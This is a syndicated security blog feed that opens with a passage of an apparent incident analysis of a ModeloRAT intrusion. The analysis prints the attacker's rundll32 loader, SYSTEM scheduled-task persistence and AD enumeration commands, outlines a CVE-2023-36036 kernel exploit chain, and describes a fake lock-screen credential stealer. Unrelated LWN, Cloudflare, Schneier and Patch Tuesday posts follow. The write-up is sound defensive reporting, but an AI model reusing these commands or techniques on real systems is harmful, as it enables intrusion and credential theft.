After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive’s “Files On-Demand” work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as “PLURIBUS” with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls:  NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

CVE-2023-36036-startproc-trigger-sequence.png
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.

⠀

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread’s token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

Helper-thread-execution-after-privilege-escalation.png
Figure 9: Helper thread execution after privilege escalation succeeds.

⠀

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py:  HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py:  Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker’s tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn’t

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn’t the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn’t have, though, was the user’s domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can’t access user-specific resources, such as file shares requiring the user’s permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

TECHNIQUE ID

TECHNIQUE NAME

T1566.003

Phishing: Spearphishing via Service

T1204.002

User Execution: Malicious File

T1059.001

Command & Scripting: PowerShell

T1059.006

Command & Scripting: Python

T1218.011

System Binary Proxy Execution: Rundll32

T1106

Native API

T1053.005

Scheduled Task/Job: Scheduled Task

T1068

Exploitation for Privilege Escalation

T1134.001

Access Token Manipulation: Token Impersonation

T1134.004

Access Token Manipulation: Parent PID Spoofing

T1562.001

Impair Defenses

T1027

Obfuscated Files or Information

T1027.002

Software Packing

T1027.009

Embedded Payloads

T1620

Reflective Code Loading

T1036.005

Masquerading

T1140

Deobfuscate/Decode Files or Information

T1112

Modify Registry

T1055

Process Injection

T1056.002

Input Capture: GUI Input Capture

T1558.003

Steal or Forge Kerberos Tickets: Kerberoasting

T1003.001

OS Credential Dumping: LSASS Memory

T1003

OS Credential Dumping

T1018

Remote System Discovery

T1087.002

Account Discovery: Domain Account

T1082

System Information Discovery

T1016

System Network Configuration Discovery

T1033

System Owner/User Discovery

T1083

File and Directory Discovery

T1021.006

Remote Services: WinRM

T1021.001

Remote Services: RDP

T1570

Lateral Tool Transfer

T1071.001

Application Layer Protocol: Web Protocols

T1095

Non-Application Layer Protocol

T1090.001

Proxy: Internal Proxy

T1090.002

Proxy: External Proxy

T1572

Protocol Tunneling

T1573

Encrypted Channel

T1132.001

Data Encoding: Standard Encoding

T1568

Dynamic Resolution

T1567.002

Exfiltration Over Web Service

T1041

Exfiltration Over C2 Channel

Indicators of compromise (IOCs)

Category

Indicator Type

Value

Attacker Infrastructure

Rogue M365 Tenant (Sender)

[email protected]

Attacker Infrastructure

Tenant GUID

cdc15b4d-6fd6-4e90-9ee9-357fea475047

Attacker Infrastructure

Client Hostnames

RICARDOGARC05B2, KALI-LINUX-2025-2

Attacker Infrastructure

Initial Access Vector

MS Teams external chat (Impersonating “IT Support”)

Network C2

Pmanager.py (ModeloRAT Beacon)

46.225.231.170, 144.172.99.68, 64.94.85.158, 140.82.6.45, 45.76.241.51 

Network C2

collector.py (Exfiltration)

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

internal.py / Microsoft5237.py

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

USOShared1297.py (TCP Shell)

144.172.88.18, 64.190.113.187, 45.59.122.231 (Ports 50508, 60503)

Network C2

PCDr6967.py (SOCKS5)

96.9.125.29, 144.172.111.49, 104.194.152.246 (Port 50504)

Network C2

Dell508.py (HTTP Tunnel)

207.246.114.50, 149.28.96.170 (Port 80)

Persistence Host

Cloud Files Provider Name

PLURIBUS

Persistence Host

Cloud Files Provider GUID

{904EE598-0511-4664-82A8-22C4A7501044}

Persistence Host

Registry Persistence Key

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager\PLURIBUS!*

Persistence Host

Sync Root Path

%TEMP%\cldflt\

Persistence Host

Placeholder File

%TEMP%\cldflt\Link.log

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

  • ModeloRAT pivoted from browser extensions to Teams social engineering.
  • Portable Python environments bypass traditional EDR signatures.
  • CVE-2023-36036 remains effective despite patch availability.
  • Fake lock screens can harvest credentials even with SYSTEM access.
  • WebDAV API abuse provides stealthy credential validation.

It took two days to go from “Hi, this is IT support” to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is  how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

[$] Managing pages outside of the direct map

Post Syndicated from corbet original https://lwn.net/Articles/1072367/

When Brendan Jackman proposed
a session for the 2026 Linux Storage,
Filesystem, Memory Management, and BPF Summit, his topic was “a
pagetable library for the kernel“. During the actual
memory-management-track session, though, he stated that the idea had
“fizzled” and he was going to cover related topics instead. What
resulted was a session on ways to efficiently manage pages that are not
present in the kernel’s direct map.

Rapid7 Partner Academy: Driving Impact with Gold Stevie Award-Winning Partner Services Certifications

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/c-gold-stevie-award-winning-partner-services-certifications-academy

At Rapid7, our commitment to our partners is built on the foundation of the PACT (Partnering with Accountability, Consistency, and Transparency) program. Central to this mission is the Rapid7 Partner Academy, which was recently honored with a Gold Stevie Award in the 2026 American Business Awards® for Achievement in Collaboration and Partnership. This recognition underscores our dedication to providing world-class training that translates directly into partner success and customer resilience.

A new era of partner-led services

To meet the evolving needs of the cybersecurity landscape, Rapid7 Partner Academy has introduced specialized Partner Services Certifications. These role-based learning paths are designed to move beyond traditional “product training” by focusing on high-fidelity service delivery and outcome-driven results, including how to build, deliver, and scale services on Rapid7 solutions. The training and certification program was specifically recognized for its “Partner-First” design, which was built through extensive collaboration with our global partner ecosystem to ensure alignment with real-world sales and technical challenges.

Our award-winning partner services certification ecosystem focuses on three critical pillars of the Rapid7 Command Platform:

  • Partner Services for InsightIDR: Equips partners with the skills and knowledge necessary to effectively guide customers through the post-sale phases of the InsightIDR solution.

  • Partner Services for Exposure Command: Focuses on the transition from static vulnerability scanning to continuous attack surface validation, diving into the setup, management, and troubleshooting of Exposure Command.

  • Partner Services for Vulnerability Management: Empowers partners to provide impactful services around deployment, management, and ongoing support for InsightVM that drive customer success.

All three of these Partner Services Certifications enable our partners to deliver services around Rapid7 solutions from deployment and onboarding, to management and best practices for usage, to express health checks and troubleshooting. Upon successful completion of the course theoretical exam, you are eligible to enroll in the Services Validation Component. After validating your services capabilities, you will receive the prestigious distinction of achieving the Rapid7 Partner Services Certification and Badge. This achievement helps to differentiate your services to your customers and prospects with official recognition among the most capable Rapid7 MSSPs and service delivery partners.

Real-world impact: From training to execution

The Gold Stevie Award recognizes more than just curriculum—it recognizes the impact these certifications have on the partner’s ability to drive business and accelerate their profitability with Rapid7. By completing these Rapid7 Partner Academy certifications, partners gain:

  • Operational excellence: Technical specialists learn to deploy and manage Rapid7 solutions with a “Gold Standard” approach, ensuring high-fidelity results for customers.

  • Strategic alignment: Sales professionals are trained in the RSP (Rapid7 Sales Professional) methodology, allowing them to position Rapid7 as the preferred solution through effective discovery and objection handling.

  • Program economics: Certified partners can take full advantage of the 2026 PACT updates, which offer enhanced incentives and streamlined deal motions for partner-led growth.

Collaborating for success

The Stevie Award for Achievement in Collaboration and Partnership specifically applauds how Rapid7 integrated partner feedback into the curriculum development. This wasn’t just Rapid7 talking to partners; it was a co-innovation effort. By coordinating with partners and Rapid7 technical support stakeholders, we ensured that the Partner Academy content directly addresses the “last-mile” technical blockers partners face in the field.

The value and impact of Partner Academy is highlighted by the comments from the Stevie American Business Awards® judges:

“I’ve seen a lot of partner programs, and most are built for the vendor, not the partner. This one stands out…A 5X outperformance, 76% completion rate, 91% satisfaction, and an NPS of 68 all point to real value delivered, not vanity metrics. I’m especially impressed by the coordination behind it –100 contributors across 13 business units. That level of alignment is hard to achieve, and it shows strong leadership. The fact that the program was mentioned on an earnings call also signals clear strategic impact.”

“Overall, this is an outstanding and result-oriented program, and it sets the bar high for the partner enablement process. Exceeding the certification target by 5X within a significantly shortened timeframe speaks volumes for the relevance and execution of the program, and the creation of role-based, technically sophisticated learning paths speaks volumes for the focus on partner enablement.”

Celebrating our partners

This award is a shared victory with the thousands of partner individuals who have invested in their professional development through the Partner Academy. Whether you are a technical expert seeking to “Command the Attack Surface” or a sales professional looking to protect your margins, the Partner Academy is your gateway to success in the Rapid7 ecosystem.

Join the award-winning program and start your learning journey today!

As we continue to innovate, our goal remains the same: to provide the most transparent, consistent, and world-class enablement program in the industry. We invite all partners to officially become a Rapid7 PACT Partner to explore these award-winning certifications and start driving deeper impact for your customers today.

[$] Revisiting mshare

Post Syndicated from corbet original https://lwn.net/Articles/1072333/

Linux can share memory between processes, but each process (almost always)
has its own set of page tables. In situations where vast numbers of
processes are sharing a memory region, the combined size of the page
tables can exceed that of the shared memory itself. There has, thus, long
been an interest in enabling unrelated processes to share page tables
referring to shared memory. Anthony Yznaga is the latest developer to try
to push this idea (known as “mshare”) forward; he described the status of
that work in a memory-management-track discussion at the 2026 Linux Storage,
Filesystem, Memory Management, and BPF Summit (LSFMM+BPF).

Security updates for Wednesday

Post Syndicated from jzb original https://lwn.net/Articles/1072596/

Security updates have been issued by AlmaLinux (corosync, freerdp, git-lfs, glib2, jq, kernel-rt, krb5, libpng, libtiff, openexr, and thunderbird), Debian (exim4), Mageia (apache, perl-Gazelle, php, and sed), Slackware (expat), SUSE (assimp-devel, go1.26, libQt6Svg6, python-jupyterlab, raylib, thunderbird, tor, and trivy), and Ubuntu (exim4).

Browser Run: now running on Cloudflare Containers, it’s faster and more scalable

Post Syndicated from Ruskin Constant original https://blog.cloudflare.com/browser-run-containers/

We’ve enabled higher usage limits, faster performance, and better reliability for Browser Run by rebuilding on top of Cloudflare’s Containers.

You can now spin up 60 browsers per minute via the Workers binding and run up to 120 concurrently — 4x the previous limit. Also, Quick Action response times dropped more than 50%. You don’t need to change anything: these improvements are live today. On top of that, we’re shipping fixes and new features faster than before. Read on to learn how we did it and see the data.

Remind me: what is Browser Run?

Browser Run enables developers to programmatically control and interact with headless browser instances running on Cloudflare’s global network. That’s useful for end-to-end testing of web applications, securely investigating suspicious URLs, and leveraging how browsers can easily render PDF documents, amongst other quick actions like capturing screenshots and extracting content. More recently, it’s become a critical enabler of AI agents to interact with the web. We’re building Browser Run to be the go-to platform to responsibly utilize automated browsers securely at massive scale.

Outgrowing our bunk bed

Before adopting Cloudflare Containers, we shared infrastructure with Browser Isolation (BISO). While technically similar, BISO’s larger container images slowed startup and development. Crucially, BISO browsers lacked optimal global distribution, compromising resiliency and latency. Additionally, typical BISO users’ long, steady sessions clashed with Browser Run’s short, spiky usage, creating scaling bottlenecks and availability delays.

Thankfully, after much internal development, Cloudflare released Durable Object (DO)-enabled Containers  open beta last year, meaning we were ready for a tentative adoption that ultimately benefited both product platforms. Like most successful product platforms, we’re committed to building on our own platform wherever feasible so that we can feel and fix any pain points ahead of any external customers.

The migration: Containers

We started a gradual migration by inserting a Worker in our incoming request paths to provide some Container-powered browsers to a handful of users alongside those from BISO. This dual support during development was key: it allowed us to compare performance, isolate implementation bugs and ultimately gain confidence in the benefits of the Container-driven approach.

Ramping up adoption, we first used the Container browsers for all of our Quick Actions endpoints, then for connections via the Workers browser binding on free accounts, followed by pay-as-you-go accounts in order to validate stability before we rolled it out to all remaining contract customers, ensuring a transition that required no action or existing worker redeployments from our customers.

Challenges: performance and scale bottlenecks

On our end, though, we faced a fresh set of challenges getting familiar with a novel, unstable early-stage Containers platform interface that was light on documentation, light on observability, and light on colleagues in an overlapping timezone. However, our feedback to our own teams as Customer Zero meant that we could provide a tight feedback loop leading to substantial upgrades that benefit our external customers too. Nevertheless, there was a lot of friction to overcome initially, most of which were to be expected for a closed beta in active development. Other hurdles to overcome were intrinsic to the new technical environment.

For example, once our browsers could run globally, our architecture had to adapt. DO-enabled Containers create a Durable Object as close to the incoming request as possible, but the connected Container may spin up on the other side of the world. This works fine for one-shot messages like “start my app,” but when you’re establishing a WebSocket between them and exchanging dozens of messages for a screenshot request, those extra milliseconds crossing the globe start adding up.

Our solution? Create regional pools of pre-warmed DO-backed browser containers to constrain the max distance (and hence max latency) between DOs and containers. When a request comes in, we pick a DO-container pair closest to the user within that region. This keeps latency low on both hops: user to DO, and DO to container. It adds a few more moving parts to our overall architecture, but we figured that was worthwhile so long as we had observability into the global state of each browser so that we could allocate and re-allocate capacity according to changing demand. A perfect use case for Workers KV…to a point.

Demand for our headless browsers has been ramping up since the beginning of last year. In short, AI agent builders discovered Browser Run and quickly brought request volumes outpacing our existing capacity. We quickly hit the limits of how quickly we could adjust our pool capacity to serve this new demand with a scalable approach. KV’s eventual consistency of around 30 seconds was becoming a bottleneck on our critical request path. You might check KV, see a container as “available,” but by the time you route to it (30 seconds later), it’s already claimed. That lag creates race conditions and overallocation of browsers, severely limiting how fast we could scale to meet demand spikes.

Migrating from KV to D1 + Queues

We previously stored each container state in KV. This meant that we could keep getting a minute old state due to cache TTL (recently KV changed the minimum cache TTL to 30 seconds, but even so that value is still too high).

We decided to migrate the container state into D1 instances instead. D1’s transactional nature is a good fit here. Once we assign a browser to a user, it’s exclusively theirs. Browsers are not shared resources. SQLite transactions ensure atomic assignment and prevent race conditions where two requests might claim the same browser simultaneously.

Here’s a simplified version of our browser acquisition query:

WITH candidate_pool AS (
    -- candidate pool logic to pick based on latency and other rules
)
UPDATE containers
SET status = 'picked'
WHERE sessionId IN (
    SELECT sessionId
    FROM candidate_pool
    ORDER BY RANDOM()
    LIMIT ?5
)
RETURNING data

We keep D1 shards per location and given that we may have several thousand containers running, and that each container needs to update its state every 5 seconds, we kept running into a problem: we would overload the database. For instance, if each write takes 1ms we can only write at most 1,000 times, which at one row per write would mean that we could only have 5,000 containers before overloading the database.

However, if we batch those writes, we can get much higher values, because batch writes are not significantly longer than individual ones, so we can increase the throughput in orders of magnitude. In our case, we use 100 row batches, which means we can now update a maximum of 500,000 containers per location. This headroom means capacity planning is no longer a bottleneck.

Currently, our P95 for batch write is 0.1ms!

To batch writes, we use Queues: every 5 seconds, each container computes its own state and adds it to its location queue. We then configure a worker consumer with 100 batch size and 1 second batch timeout:

{
    ...
    "queues": {
        "consumers": [
            {
                "queue": "production-core-containers-queue-weur",
                "max_batch_size": 100,
                "max_batch_timeout": 1,
                "max_retries": 1,
            },
            ...
        ]
        ...
    }
}

With this configuration, we achieve acceptable lag times well below 2 seconds. That said, queue backlogs can still cause stale state. When this happens, each region falls back to a designated backup region until the primary queue catches up.

Additional perks for quick actions

With dedicated infrastructure, we could now make upgrades to the browser container image without unwanted side effects or bloat for other products like BISO. This opened the door to optimize quick actions like screenshots and content extraction. Previously, our workers established a WebSocket to the remote browser and sent instructions one at a time: open a page, navigate to the URL, wait for it to load and take the screenshot. Each step had to be completed before the next could begin. 

However, now we send all parameters in a single HTTP request directly to the container, and the entire flow executes internally without any back-and-forth between the worker and browser.

Results: massive performance boost and increased limits

We’ve seen a sharp decrease in average quick-action response time, as users are able to get what they need from a browser session in less time: less time waiting for browsers to be ready and faster processing of their DevTools Protocol messages.


Overcoming our real-time state management at this new scale meant we could spend more time in the playground, discovering and cooking up new features such as our recently launched /crawl endpoint. 

Better browser flexibility

We also benefitted from another important perk by leaving behind shared Browser Isolation containers: faster upgrades.

When our browsers ran on shared product infrastructure, upgrading Chrome meant coordinating across multiple teams and products, each with their own roadmap and priorities. However, now that we run our own container image, we can upgrade at a faster tempo. For example, WebGL, a much-requested feature, is now available for browser-based rendering along with WebMCP (Model Context Protocol for the web) which enables new agentic interaction patterns. Both are made possible because we can control the browser version and flags without unwanted side effects in other Cloudflare products.

In a nutshell, we’re just getting started with unleashing the power of browsers at scale, especially for agentic development. We hope you’re diving in too — check out our docs.

Get started

Browser Run is available on all Workers plans. Start with the quick start guide, explore the Quick Actions, or try the /crawl endpoint to deeply extract data from any webpage, following links across the site.

Building AI agents? Check out our Agents SDK with built-in Browser Run support.

OpenAI’s GPT-5.5 is as Good as Mythos at Finding Security Vulnerabilities

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/05/openais-gpt-5-5-is-as-good-as-mythos-at-finding-security-vulnerabilities.html

The UK’s AI Security Institute evaluated GPT-5.5’s ability to find security vulnerabilities, and found that it is comparable to Claude Mythos. Note that the OpenAI model is generally available.

Here is the Institute’s evaluation of Mythos.

And here is an analysis of a smaller, cheaper model. It requires more scaffolding from the prompter, but it is also just as good.

Patch Tuesday – May 2026

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-may-2026

Microsoft is publishing 137 vulnerabilities on May 2026 Patch Tuesday. Microsoft is not aware of exploitation in the wild or public disclosure for any of these vulnerabilities. So far this month, Microsoft has provided patches to address 133 browser vulnerabilities, which are not included in the Patch Tuesday count above.

Windows Netlogon: critical RCE

Anyone responsible for securing a domain controller should prioritize remediation of CVE-2026-41089, which is a critical stack-based buffer overflow in Windows Netlogon with a CVSS v3 base score of 9.8. Exploitation leads to execution in the context of the Netlogon service, so that’s SYSTEM privileges on the domain controller. For most pentesters, that’s the point at which the customer report more or less writes itself. No privileges or user interaction are required, and attack complexity is low, which suggests that creation of a reliable exploit might not be especially difficult for anyone with knowledge of the specific mechanism.

Microsoft assesses exploitation as less likely, but since those exploitability assessments are provided without an accompanying explanation, it’s not clear how much reassurance defenders should take. Anyone who remembers the much-discussed CVE-2020-1472 (aka ZeroLogon) back in 2020 will note that CVE-2026-41089 offers an attacker more immediate control of a domain controller. Patches are available for all versions of Windows Server from 2012 onwards.

Windows DNS Client: critical RCE

An attacker looking for a master key for Windows assets will pay attention to CVE-2026-41096, a critical RCE in the Windows DNS client implementation. A modern computer talks to DNS the way a child in the back of a car asks “are we there yet?” The variable and complex structure of DNS responses means that DNS client implementations are also complex and thus prone to flaws. Microsoft assesses exploitation as less likely, and we can hope that modern mitigations such as heap address randomization and optional-but-recommended encrypted channel DNS will make weaponization significantly more challenging by putting barriers across specific paths to exploitation. The DNS client on Windows runs as the NetworkService role, rather than SYSTEM, but a foothold is a foothold, and skilled attackers expect to chain exploits together.

JIRA/Confluence Entra ID auth plugin: critical EoP

If you’re still self-hosting Atlassian JIRA or Confluence and relying on the Microsoft Entra ID authentication plugin, you’ll want to know about CVE-2026-41103. This critical elevation of privilege vulnerability allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely. Even if you can’t always find what you want on the corporate Confluence, a motivated attacker probably will. Curiously, the patch links on the advisory lead to older versions of the plugins published in 2024.

Microsoft WARP team

Microsoft’s WARP team is credited with multiple critical vulnerabilities today, after making their first appearance in MSRC advisory acknowledgements in last month’s Patch Tuesday. We can speculate that they likely know a great deal about the current state of AI-powered vulnerability research as it applies to Microsoft products.

Microsoft lifecycle update

There are no significant Microsoft product lifecycle changes this month. Microsoft .NET 9 STS (Standard Term Support, as distinct from Long Term Support) was originally scheduled to move past the end of support in May 2026, but late last year, Microsoft granted a six-month extension, so that .NET 9 STS now reaches end of support on November 10, 2026.

Summary charts

A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May
A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May

A heatmap showing distribution of impact type by component for Microsoft Patch Tuesday 2026-May

Summary tables

Apps vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-26129

M365 Copilot Information Disclosure Vulnerability

N/A

No

7.5
CVE-2026-26164

M365 Copilot Information Disclosure Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-41614

M365 Copilot for Desktop Spoofing Vulnerability

Exploitation Less Likely

No

6.2
CVE-2026-41100

Microsoft 365 Copilot for Android Spoofing Vulnerability

Exploitation Unlikely

No

4.4
CVE-2026-42832

Microsoft Office Spoofing Vulnerability

Exploitation Unlikely

No

7.7
CVE-2026-41101

Microsoft Word for Android Spoofing Vulnerability

Exploitation Unlikely

No

7.1

Azure vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-35435

Azure AI Foundry Elevation of Privilege Vulnerability

Exploitation More Likely

No

8.6
CVE-2026-35428

Azure Cloud Shell Spoofing Vulnerability

N/A

No

9.6
CVE-2026-32207

Azure Machine Learning Notebook Spoofing Vulnerability

n/a

No

8.8
CVE-2026-33109

Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability

N/A

No

9.9
CVE-2026-33844

Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability

N/A

No

9.0
CVE-2026-41105

Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability

N/A

No

8.1
CVE-2026-40379

Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability

N/A

No

9.3
CVE-2026-34327

Microsoft Partner Center Spoofing Vulnerability

N/A

No

8.2
CVE-2026-40381

Azure Connected Machine Agent Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-42823

Azure Logic Apps Elevation of Privilege Vulnerability

Exploitation Less Likely

No

9.9
CVE-2026-33833

Azure Machine Learning Notebook Spoofing Vulnerability

Exploitation Less Likely

No

8.2
CVE-2026-32204

Azure Monitor Agent Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-42830

Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.5
CVE-2026-33117

Azure SDK for Java Security Feature Bypass Vulnerability

Exploitation Unlikely

No

9.1
CVE-2026-41103

Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability

Exploitation More Likely

No

9.1
CVE-2026-41086

Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability

Exploitation Less Likely

No

8.8

Browser vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-7898

Chromium: CVE-2026-7898 Use after free in Chromoting

n/a

No
CVE-2026-7899

Chromium: CVE-2026-7899 Out of bounds read and write in V8

n/a

No
CVE-2026-7900

Chromium: CVE-2026-7900 Heap buffer overflow in ANGLE

n/a

No
CVE-2026-7901

Chromium: CVE-2026-7901 Use after free in ANGLE

n/a

No
CVE-2026-7902

Chromium: CVE-2026-7902 Out of bounds memory access in V8

n/a

No
CVE-2026-7903

Chromium: CVE-2026-7903 Integer overflow in ANGLE

n/a

No
CVE-2026-7904

Chromium: CVE-2026-7904 Out of bounds read in Fonts

n/a

No
CVE-2026-7906

Chromium: CVE-2026-7906 Use after free in SVG

n/a

No
CVE-2026-7907

Chromium: CVE-2026-7907 Use after free in DOM

n/a

No
CVE-2026-7908

Chromium: CVE-2026-7908 Use after free in Fullscreen

n/a

No
CVE-2026-7909

Chromium: CVE-2026-7909 Inappropriate implementation in ServiceWorker

n/a

No
CVE-2026-7910

Chromium: CVE-2026-7910 Use after free in Views

n/a

No
CVE-2026-7911

Chromium: CVE-2026-7911 Use after free in Aura

n/a

No
CVE-2026-7914

Chromium: CVE-2026-7914 Type Confusion in Accessibility

n/a

No
CVE-2026-7916

Chromium: CVE-2026-7916 Insufficient data validation in InterestGroups

n/a

No
CVE-2026-7917

Chromium: CVE-2026-7917 Use after free in Fullscreen

n/a

No
CVE-2026-7918

Chromium: CVE-2026-7918 Use after free in GPU

n/a

No
CVE-2026-7919

Chromium: CVE-2026-7919 Use after free in Aura

n/a

No
